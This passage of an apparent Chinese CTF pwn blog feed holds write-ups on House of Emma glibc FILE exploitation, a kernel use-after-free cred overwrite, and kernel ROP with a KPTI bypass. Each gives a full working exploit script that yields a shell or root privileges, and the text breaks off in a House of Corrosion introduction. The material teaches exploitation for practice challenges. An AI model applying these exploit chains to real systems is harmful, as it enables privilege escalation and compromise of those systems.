由于在 glibc-2.24 的时候添加了对 vtable 的合法性检查，所以我们不能像以往一样直接对 vtable 进行一个劫持，但是这个检查对具体位置相对宽松，我们还是可以在一定范围之内对 vtable 起始位置进行一个偏移 ，我们就可以通过偏移来调用在 vtable 表中的任意函数，因此我们可以考虑将其指定为以下几个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif
 
  if (read_cb == NULL)
    return -1;
 
  return read_cb (cfile->__cookie, buf, size);
}
 
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif
 
  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }
 
  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;
 
  return n;
}
 
static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif
 
  return ((seek_cb == NULL
       || (seek_cb (cfile->__cookie, &offset, dir)
           == -1)
       || offset == (off64_t) -1)
      ? _IO_pos_BAD : offset);
}
 
static int
_IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif
 
  if (close_cb == NULL)
    return 0;
 
  return close_cb (cfile->__cookie);

这几个函数存在任意函数指针的调用，且函数指针来源于 _IO_cookie_file 结构体，这个结构体是 _IO_FILE_plus 的扩展，如果我们可以控制 IO 的内容，大概率这部分数据也是可控的 ，并且其第一个参数也是来源于这个结构，所以我们可以把它当作类似于 __free_hook 的 Hook 来利用 。

绕过 PTR_DEMANGLE

image-20250813103454655

由于_IO_cookie_write 等函数的调用涉及到指针加密 ：ROR 移位 0x11 后再与指针进行异或

1
2
3
4
extern uintptr_t __pointer_chk_guard attribute_relro;
#  define PTR_MANGLE(var) \
  (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
#  define PTR_DEMANGLE(var) PTR_MANGLE (var)

其指针加密的 key 值存在于 TLS + 0x30 处 ，要想调用目标函数，我们就必须要对放置的目标函数进行一个解加密，但是由于 key 值是完全随机的，所以常规来讲我们是不可能直接破解这个加密方式的，但是由于 key 值处可写 ，我们可以利用其他手法，如 largebin attack 、tcache stash unlinking 等 ，向 TLS + 0x30 的位置写入一个已知地址 ，把原本随机的 key 值覆盖成我们已知的地址，这样一来，我们就可以对这个安全保护进行一个绕过了 （实际攻击的时候，远程的 TLS 位置可能会有一些偏移，需要爆破）

1
2
3
4
5
6
7
8
9
10
# 加密函数 循环左移
def rotate_left_64(x, n):
    # 确保移动的位数在0-63之间
    n = n % 64
    # 先左移n位
    left_shift = (x << n) & 0xffffffffffffffff
    # 然后右移64-n位，将左移时超出的位移动回来
    right_shift = (x >> (64 - n)) & 0xffffffffffffffff
    # 合并两部分
    return left_shift | right_shift

这里我贴一个解密脚本，是在覆盖 key 为已知地址的情况下实现的 。

整体的利用思路分为三大步

  • 劫持 stderr 到堆块上，同时伪造好 IO 结构 ，改写 stderr 的 vtable 为 _IO_cookie_jumps + 0x40 ，使其调用 _IO_cookie_wirte 。
  • 覆盖 TLS + 0x30 处的 key 值为已知地址 。
  • 布置好 IO 结构后 ，触发 __malloc_assert （参考 House of kiwi）。

攻击过程中可能会遇到的问题：

  • 可能会出现 stderr 指针在 bss 段，而不是 libc 的情况，这种情况就不能使用上面的常规打法 ，如果我们无法直接纂改，就只能考虑打 FSOP 的方式 ，但是 exit 调用也涉及到指针保护，此时的 key 值已经被我们修改 ，使其无法执行正确的函数地址 。

以上情况的解决方法是，构造两个 IO_FILE 结构 ，后者位于前者的 _chain 处，这里我们可以考虑 House of apple1 + House of emma 的打法 ，使用 House of apple1 来修改 TLS + 0x30 的 key 值为已知地址，然后使用 House of emma 执行调用函数 。

当然如果有这种条件那我们应该可以直接打 House of apple2 了 。

  • glibc-2.36 之后 __malloc_assert 被修改成：
1
2
3
4
5
6
7
8
9
_Noreturn static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
 const char *function)
{
  __libc_message (do_abort, "\
Fatal glibc error: malloc assertion failure in %s: %s\n",
  function, assertion);
  __builtin_unreachable ();
}

移除了 fxprint 函数

调用过程及可控寄存器：

1
__malloc_assert => __fxprintf => __vfxprintf => locked_vfxprintf => __vfprintf_internal => _IO_cookie_write

image-20250813105451118

rax 是我们可以直接控制的，最后 _IO_cookie_write 也是 call rax , 实现任意函数调用 ，其中 rdi 是我们可以控制的 ，rbp 指向的是我们伪造的 IO_FILE 结构体 ，如果程序没有开启沙箱限制，我们就可以直接执行 system("/bin/sh"); 来拿到 shell ，但是如果程序开启了沙箱限制，这里就需要考虑两种情况，一种是 glibc-2.29 之前 ，setcontext + xx 是通过 rdi 来控制寄存器的，我们就可以直接 call setcontext + xx 然后布局好 rop ，打 orw 即可 ，但是如果是 glibc-2.29 之后， 那么我们就只能通过一些 magic_gadget 来实现一些寄存器的转化，最好找一个能够通过 rdi 来给rdx 赋值的寄存器，因为 rdi 是可控的 ，然后还需要一个 call 的调用，使得攻击得以持续 。

image-20250813110343788

这里恰好有这么一条寄存器可以做到上述攻击方式 。

例题演示：[湖湘杯 2021]house_of_emma

常规检查：

image-20250813110612728

64位 保护全开

image-20250813111332705

禁用了 execve 调用 。

IDA：

main（）：

image-20250813110553204

看到 vm 调用就可以猜出来大概是一个 vmpwn 题

image-20250813110758383

程序的逻辑不难理解，还非常好处理，这里我就不一一展示每一个函数的内容了，我只大致说一下：

  • calloc_add 函数可以利用 calloc 创造 0x40F < size < 0x500 大小的堆块 。
  • delete 函数 free 后没有清空堆块指针，存在明显的 uaf 漏洞 。
  • show 和 edit 查看与修改堆块内容，没有什么问题 。

这里直接延用我上面讲过的打法就行，劫持 stderr 到堆块上，布置好 IO 结构，使其调用 _IO_cookie_write ，call rax 处我们不能直接调用 system('/bin/sh') 因为程序禁用了 execve ，这个时候我们考虑打 orw ，由于libc版本在 glibc-2.35, 所以我们需要使用以下 gadget ，来控制 rdx 寄存器，同时记得绕过指针保护 ：

1
0x00000000001675b0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

最后 call setcontext + 61 布局寄存器，执行 rop 即可获取到 flag 。

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
from pwn import*
from struct import*
from LibcSearcher import*
from ctypes import CDLL
from functools import reduce
from z3 import *
import gmpy2
import binascii

local = 1
if local:
    p = process('./pwn')
else:
    p = remote('',)

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#libc = CDLL("libc.so.6")
context(arch='amd64',log_level='debug',os='linux')
#context(arch='i386',log_level='debug',os='linux')
#shellcode = asm(shellcraft.sh())

def ELF(func_name):
    globals()[f"{func_name}_got"] = elf.got[func_name]
    globals()[f"{func_name}_plt"] = elf.plt[func_name]

def GDB(script=""):
    gdb.attach(p, gdbscript=script)

def fmt64():
    p.recvuntil("0x")
    return int(p.recv(12),16)

def fmt32():
    p.recvuntil("0x")
    return int(p.recv(8),16)

def ph(var):
    var_name = [name for name, value in globals().items() if value is var][0]
    log.info(f"{var_name}  >> {hex(var)}")

def phlen(var):
    var_name = [name for name, value in globals().items() if value is var][0]
    log.info(f"{var_name}(DEC)  >> {len(var)}")
    log.info(f"{var_name}(HEX)  >> {hex(len(var))}")

def ELFlibc(real_addr, func_name):
    global libc_base, system, binsh 
    libc_base = real_addr - libc.symbols[func_name]
    system = libc_base + libc.symbols['system']
    binsh = libc_base + next(libc.search(b'/bin/sh'))
    success(f"libc_base  >> {hex(libc_base)}")

def Libcer(real_addr, func_name):
    global libc_base, system, binsh 
    libc = LibcSearcher(func_name,real_addr)
    libc_base = real_addr - libc.dump(func_name)
    system = libc_base + libc.dump('system')
    binsh = libc_base + libc.dump('str_bin_sh')
    success(f"libc_base  >> {hex(libc_base)}")

opcode = b''

def add(index,size):
    global opcode
    payload = p8(1) + p8(index) + p16(size) 
    opcode += payload 

def free(index):
    global opcode
    payload = p8(2) + p8(index) 
    opcode += payload
    
def show(index):
    global opcode
    payload = p8(3) + p8(index) 
    opcode += payload

def edit(index,msg):
    global opcode
    payload = b'\x04' + p8(index) + p16(len(msg)) + msg 
    opcode += payload

def run():
    global opcode
    opcode += p8(5)
    sa("Pls input the opcode\n",opcode)
    opcode = b''
    
def rotate_left_64(x, n):
    # 确保移动的位数在0-63之间
    n = n % 64
    # 先左移n位
    left_shift = (x << n) & 0xffffffffffffffff
    # 然后右移64-n位，将左移时超出的位移动回来
    right_shift = (x >> (64 - n)) & 0xffffffffffffffff
    # 合并两部分
    return left_shift | right_shift

LIBC = lambda func   :libc_base + libc.sym[func]
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru   = lambda a,b=False : p.recvuntil(a,drop=b)
rl  = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)

#------------------------------------------------------------------------------------#

#------------------------------------------------------------------------------------#
#( v3 <= 0x40Fu || v3 > 0x500u || v2 > 0x10u )
add(0,0x410)
add(1,0x420)
add(2,0x410)
add(3,0x410)
free(1)
add(4,0x500)
show(1)
run()
libc_base = l64() - 0x21a0d0
ph(libc_base)
edit(1,b'a'*0x10)
show(1)
run()
ru(b'a'*0x10)
heap_base = uu64() - 0x26c0
ph(heap_base)
stderr = libc_base + libc.sym['stderr']
edit(1,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x26c0)+p64(stderr-0x20))
free(3)
run()
add(5,0x410)
guard = libc_base - 0x2890
edit(1,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x26c0)+p64(guard-0x20))
free(3)
run()
ph(stderr)
ph(guard)
add(6,0x410)
run()
IO_addr = heap_base + 0x26c0
magic = libc_base + 0x00000000001675b0
#IO_cookie_jumps = libc_base + libc.sym['_IO_cookie_jumps']
IO_cookie_jumps = libc_base + 0x215b80
setcontext = libc_base + libc.sym['setcontext']
flag_addr = IO_addr + 0x118 + 8
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_r12 = libc_base + 0x000000000011f497
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
open = libc_base + libc.sym['open']
ret = pop_rdi + 1
rop = flat([pop_rdi,flag_addr,pop_rsi,0,pop_rdx_r12,0,0,open])
rop += flat([pop_rdi,3,pop_rsi,heap_base+0x300,pop_rdx_r12,0x50,0,read])
rop += flat([pop_rdi,1,pop_rsi,heap_base+0x300,pop_rdx_r12,0x50,0,write])
IO = flat(
{
0x28 : 0xffffffffffffffff ,
0x88 : heap_base ,
0xd8 : IO_cookie_jumps + 0x40 ,
0xe0 : IO_addr + 0x110 ,
0xe8 : p64(rotate_left_64(magic^(heap_base+0x26c0),0x11))*3 ,
0x118 : IO_addr + 0x118 ,
0x118 + 8 : b'flag\x00\x00\x00\x00' ,
0x118 + 0x20 : setcontext + 61 ,
0x118 + 0xa0 : IO_addr + 0x200 ,
0x118 + 0xa8 : ret ,
0x200 : rop ,
},
filler = b'\x00'
)
edit(1,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x26c0)*2)
add(7,0x420)
edit(1,IO[0x10:])
add(8,0x500)
free(8)
add(9,0x418)
run()
edit(8,b'a'*0x418+p64(0x300))
run()
GDB("b *__malloc_assert")
#GDB("b *_IO_cookie_write")
#GDB("b *(setcontext+61)")
add(10,0x500)
run()
p.interactive()

参考链接：

[原创]【伽玛】第七届“湖湘杯” House _OF _Emma | 设计思路与解析-Pwn-看雪-安全社区|安全招聘|kanxue.com

常回家看看之house_of_emma - CH13hh - 博客园

]]> https://spacedrag0n-1.github.io/posts/16122.html 2025-08-13T03:54:42.000Z House of emma

在 GLibc2.34]]>

House of emma 2025-08-13T03:59:23.000Z SpaceDraG0n Kernel UAF

UAF 即 Use After Free ，通常指的是对于释放后未重置的垂悬指针利用 。此前在用户态下heap阶段的很多对于 ptmalloc 利用都是基于 UAF 漏洞进行进一步的利用 。

在 CTF 当中，内核的 “堆内存” 主要指的是直接映射区（direct mapping area），常用的分配函数 kmalloc 从此分配内存，常用的分配器为 slub allocator ，若是在 kernel 中存在垂悬指针，我们同样可以以此完成对 slab/slub 内存分配器的利用，通过 Kernel UAF 完成提权 。

CISCN2017 - babydriver

image-20250720142741181

题目只给了我们 boot.sh 、bzImage 、rootfs.cpio 三个文件

观察一下 boot.sh 这应该是题目的启动脚本相关的：

image-20250720142937512

脚本很正常 ，接下来我们将 rootfs.cpio 文件解包进一步分析 。

1
2
3
4
5
mkdir core
mv rootfs.cpio rootfs.cpio.gz
mv rootfs.cpio.gz core
gunzip rootfs.cpio.gz
cpio -idm < ./rootfs.cpio

image-20250720143305801

观察一下 init 文件：

image-20250720143340207

对 flag 文件赋予了root权限 ，其他命令一切正常 ，这里把 .ko 文件保存在了 /lib/modules/4.4.72/babydriver.ko 了

我们用ida打开.ko文件，对其进行一个逆向分析

image-20250720143653730

可以看到总共有这一些函数，我们先来看 init 、exit 函数 ：

image-20250720143743373

对 baby_dev 进行了一个初始化

image-20250720143903897

对 baby_dev 进行了一个清理 ，这两个函数都很正常 ，没有什么大问题

接下来看 open 和 release 函数：

image-20250720144016803

创造了一个 0x40 大小的堆块 ，将指针放置在了 babydev_struct.devicve_buf 这个全局变量里面 ，同时将babydev_struct.device_buf_len 设置为 0x40 大小

image-20250720144318579

release 则是对该全局变量指向的指针堆块进行一个释放 ，但是释放后没有把指针进行清空，所以存在一个 uaf 漏洞

接下来分析的是 read 以及 write 函数：

image-20250720144428638

read 函数显示检测 len 的长度大小是否小于 babydev_struct.devicve_buf_len ，然后复制 babydev_struct.devicve_buf 里的内容到用户态的 buffer 里面去

image-20250720144635864

wrtie 函数是从用户态复制 buffer 到 babydev_struct.devicve_buf 里面去 ，这样可能看得不是很清楚，所以我们可以去看看汇编

image-20250720145320892

发现调用时 rdi 是等于 babydev_struct.devicve_buf 的 ，所以我们的猜想正确

最后我们看看 ioctl 函数

image-20250720145853620

ioctl 函数释放掉了全局变量的堆块指针，同时申请了一个用户自定义大小的堆块，由于程序存在uaf漏洞，所以我们可以直接通过uaf漏洞纂改 struct cred 结构体 ，从而达到提权的目的，下面我直接引用z1r0师傅的解题思路：

这里其实就是个竞争uaf漏洞。也就是说如果我们同时打开两个设备，第二次会覆盖第一次分配的空间，因为 babydev_struct 是全局的。同样，如果释放第一个，那么第二个其实是被是释放过的，这样就造成了一个 UAF。

初始化两个，释放第一个，再给第一个ioctl到指定的地址，接下来修改第二个其实就是修改的第一个的地址内容。因为存在uaf，重启再用不会清0。

这里最关键的是buf是全局变量，两个都用的是一个buf，存在竞争。前面说到过提权的方法，可以改cred来进行root提权，这个版本是：4.4.72 ：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

那么根据 UAF 的思想，思路如下：

  1. 打开两次设备，通过 ioctl 更改其大小为 cred 结构体的大小
  2. 释放其中一个，fork 一个新进程，那么这个新进程的 cred 的空间就会和之前释放的空间重叠
  3. 同时，我们可以通过另一个文件描述符对这块空间写，只需要将 uid，gid 改为 0，即可以实现提权到 root

需要确定 cred 结构体的大小，有了源码，大小就很好确定了。计算一下是 0xa8（注意使用相同内核版本的源码）。

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<fcntl.h>
#include<string.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/ioctl.h>
#include<pthread.h>
int main(int argc, char **argv)
{
    int fd1,fd2;
    //开启了两个设备，这两个设备共用一个babydev_struct.device_buf
    fd1 = open("/dev/babydev",O_RDWR);
    fd2 = open("/dev/babydev",O_RDWR);
    //调用ioctl在babydev_struct.device_buf申请一个struct cred大小的内存
    ioctl(fd1,65537,0xa8);
    //关掉设备fd1，但是由于存在uaf我们的fd2依然可以控制babydev_struct.device_buf
    close(fd1);
    //开启一个新的进程：
    int pid = fork();
    if(pid == 0){
        puts("\033[34m\033[1m[*] Process creation successful .\033[0m");
        char buf[28] = {0};
        write(fd2,buf,28);
        if(getuid() == 0){
            puts("\033[34m\033[1m[*] pwn!!! success ! .\033[0m");
            // 起一个root shell
            system("/bin/sh");
        }else if(pid < 0){
            puts("\033[34m\033[1m[*] There were some minor issues.  .\033[0m");
        }
    }else{
        wait(NULL);
    }

    close(fd2);
    return 0;
}

编译进core，重新打包启动，运行exp即可提权

image-20250720150648147

提权成功！

]]> https://spacedrag0n-1.github.io/posts/16111.html 2025-08-10T11:44:39.000Z Kernel UAF

UAF 即 Use After]]>

Kernel初识 - Kernel UAF 2025-08-10T11:48:49.000Z SpaceDraG0n Kernel ROP with KPTI bypass
  • KPTI 相关概念直接引用 CTFwiki

KPTI 即 内核页表隔离（Kernel page-table isolation），内核空间与用户空间分别使用两组不同的页表集，这对于内核的内存管理产生了根本性的变化。

KPTI 的发明主要是用来修复一个史诗级别的 CPU 硬件漏洞：Meltdown。简单理解就是利用 CPU 流水线设计中（乱序执行与预测执行）的漏洞来获取到用户态无法访问的内核空间的数据，属于侧信道攻击的一种。

KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限，这使得 ret2usr 彻底成为过去式 。

对于开启了 KPTI（内核页表隔离），我们不能像之前那样直接 swapgs ; iret 返回用户态，而是在返回用户态之前还需要将用户进程的页表给切换回来 。

众所周知 Linux 采用四级页表结构（PGD->PUD->PMD->PTE），而 CR3 控制寄存器用以存储当前的 PGD 的地址，因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换，为了提高切换的速度，内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中（两张表，一张一页 4k，总计 8k，内核空间的在低地址，用户空间的在高地址），这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作

image-20250720182541886

需要进行说明的是，在这两张页表上都有着对用户内存空间的完整映射，但在用户页表中只映射了少量的内核代码（例如系统调用入口点、中断处理等），而只有在内核页表中才有着对内核内存空间的完整映射，但两张页表都有着对用户内存空间的完整映射，如下图所示，左侧是未开启 KPTI 后的页表布局，右侧是开启了 KPTI 后的页表布局。

image-20250720182551250

KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限（NX），这使得 ret2usr 彻底成为过去式 。

除了在系统调用入口中将用户态页表切换到内核态页表的代码外，内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode，地址可以在 /proc/kallsyms 中获得。

由于源码的汇编代码编写较为繁重，我们可以通过 IDA 逆向的方式查看其基本汇编逻辑：

image-20250720182558251

在实际操作时前面的一些栈操作都可以跳过，直接从 mov rdi, rsp 开始，这个函数大概可以总结为如下操作：

1
2
3
4
5
6
7
mov  rdi, cr3
or rdi, 0x1000
mov  cr3, rdi
pop rax
pop rdi
swapgs
iretq

因此我们只需要布置出如下栈布局即可：

1
2
3
4
5
6
7
8
↓   swapgs_restore_regs_and_return_to_usermode
    0 // padding
    0 // padding
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss

开启KPTI保护

只需要在内核启动参数 -append 中添加 pti=on 选项以显式开启 KPTI 保护

例题 ：强网杯 2018 - core

image-20250720183432112

由于题目刚开始是没有开启 KPTI 保护的 ，所以我们需要手动在启动参数 -append 中添加 pti=on

然后我们启动程序 ，先观察一下 ，如果开启 KPTI 保护 ，执行我们之前的 exp 会发生什么

image-20250720183625537

可以看到运行之前的 exp 直接报错了 ，原因在于我们在内核态的页表中， 用户地址空间部分对应的页顶级表项没有可执行权限

因此我们在返回用户态之前还需要先将内核态页表切换回来，这里我们在完成提权后直接使用 swapgs_restore_regs_and_return_to_usermode 函数返回用户态即可，而无需直接手动调用 iretq 指令。

而swapgs_restore_regs_and_return_to_usermode的地址我们依旧可以通过保存在 tmp/kallsyms 的函数地址来进行读取

image-20250720184049653

cat /proc/kallsyms | grep "swapgs_restore_regs_and_return_to_usermode"

image-20250720184434389

然后我们就得到了这个函数的地址

image-20250720185055421

计算偏移 ，这个偏移加上我们在调用exp得到的vmlinux地址就是我们最终的函数地址

image-20250720185256511

这个是 swapgs_restore_regs_and_return_usermode 函数的汇编代码，可以看到前面有很多 pop ，但是我们实际要从 mov rdi,rsp 开始 ，而这个地方的偏移恰好是在 swapgs_restore_regs_and_return_usermode + 22 

1
2
3
4
5
6
7
8
↓   swapgs_restore_regs_and_return_to_usermode
    0 // padding
    0 // padding
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss

这个是我们要布置的栈布局 ，稍微改一下之前的代码就可以了

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<fcntl.h>
#include<string.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/ioctl.h>
#include<pthread.h>
void setoff(int fd,long long size){
    ioctl(fd,0x6677889c,size);
}
void core_read(int fd,char *buf){
    ioctl(fd,0x6677889b,buf);
}
void core_copy_func(int fd,long long size){
    ioctl(fd,0x6677889a,size);
}
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_shell(){
system("/bin/sh");
}

int main(){
    int fd ;
    size_t tmp;
    char buf[0x50];
    size_t rop[0x100];
    size_t vmlinux_base,canary,core_base;
    size_t commit_creds = 0x9c8e0;
    size_t prepare_kernel_cred = 0x9cce0;
    save_status();
    fd = open("/proc/core",O_RDWR); //程序创造了一个接口，所以我们需要把这个接口给打开 ，这样才能进行函数调用
    if(fd < 0) {
        printf("Open /proc/core error!\n");
        exit(0);
    }
    setoff(fd,0x40); // v4 距离 canary 的偏移是 0x40 ，而且v5的数据类型是char类型。
    core_read(fd,buf); //把canary读入用户态的buf 
    size_t pop_rdi = 0x000b2f;
    size_t push_rax = 0x02d112;
    size_t swapgs = 0x0d6;
    size_t iretq ;
    size_t xchg = 0x16684f0;
    size_t call_rax = 0x40398;
    size_t pop_rcx = 0x21e53;
    size_t pop_rbp = 0x3c4;
    size_t pop_rdx = 0xa0f49;
    size_t mov_rdi_rax_call_rdx = 0x01aa6a;
    //此时buf的前八个字节是我们的canary
    canary = (*(size_t *)(&buf[0]));
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] Canary  >> %p.\033[0m\n",canary);
    core_base = (*(size_t *)(&buf[2*8])) - 0x19b;
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] core_base  >> %p.\033[0m\n",core_base);
    vmlinux_base = (*(size_t *)(&buf[4*8]) - 0x1dd6d1);
    puts("\033[34m\033[1m[*] leak success! .\033[0m");
    printf("\033[34m\033[1m[*] vmlinux_base  >> %p.\033[0m\n",vmlinux_base);
    pop_rdi += vmlinux_base;
    pop_rcx += vmlinux_base;
    pop_rbp += vmlinux_base;
    pop_rdx += vmlinux_base;
    mov_rdi_rax_call_rdx += vmlinux_base;
    swapgs += core_base;
    iretq = 0x50ac2 + vmlinux_base;
    commit_creds += vmlinux_base;
    prepare_kernel_cred += vmlinux_base;
    size_t swapgs_restore_regs_and_return_to_usermode = 0xa008da + vmlinux_base;
    int i = 0;
    for(i=0;i<10;i++){
        rop[i] = canary;
    }
    i = 10;
    rop[i++] = pop_rdi; 
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = pop_rdx;
    rop[i++] = pop_rcx;
    rop[i++] = mov_rdi_rax_call_rdx;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode+22; 
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    write(fd,rop,i*8);
    core_copy_func(fd,0xf000000000000000+i*8);
    puts("\033[34m\033[1m[*] Attack Success! .\033[0m");
    return 0;
}

image-20250720185702429

成功提权

参考链接：

https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass/

]]> https://spacedrag0n-1.github.io/posts/16110.html 2025-08-09T17:26:50.000Z House of corrosion

利用范围：

  • 2.23 - 至今

利用效果：

  • 任意地址读
  • 任意地址写
  • 任意地址值转移

利用条件：

  • 需要一个UAF漏洞

  • 可以分配较大的堆块（size <= 0x3b00）

  • 不需要泄露地址

利用原理：

House of corrosion 是一个针对于 global_max_fast 的相关利用技巧 ，通过一些其他的手法 ，把 global_max_fast 修改成一个极大值 ，比如 unsortedbin attack 、largebinattack 、tcache stashing unlink 等 （利用 unsortedbin attack 时不需要泄露地址，爆破 1/16 即可） ，于是我们就可以实现任意地址读写的功能 。

要想知道 House of corrosion 的具体原理 ，我们就要知道 global_max_fastbin 是什么 。

global_max_fast 是 glibc 堆管理器（ptmalloc2）中的一个全局变量，用于定义 fastbins 的最大 chunk 大小 。它决定了哪些内存块会被放入 fastbins 进行快速分配和释放，而不是进入更慢的 smallbins 或unsorted bin ，在引入tcachebin之前（GLIBC2.27之前），global_max_fast 的默认值为 0x80 也就是 fastbin 的size默认范围在 [0x20,0x80]

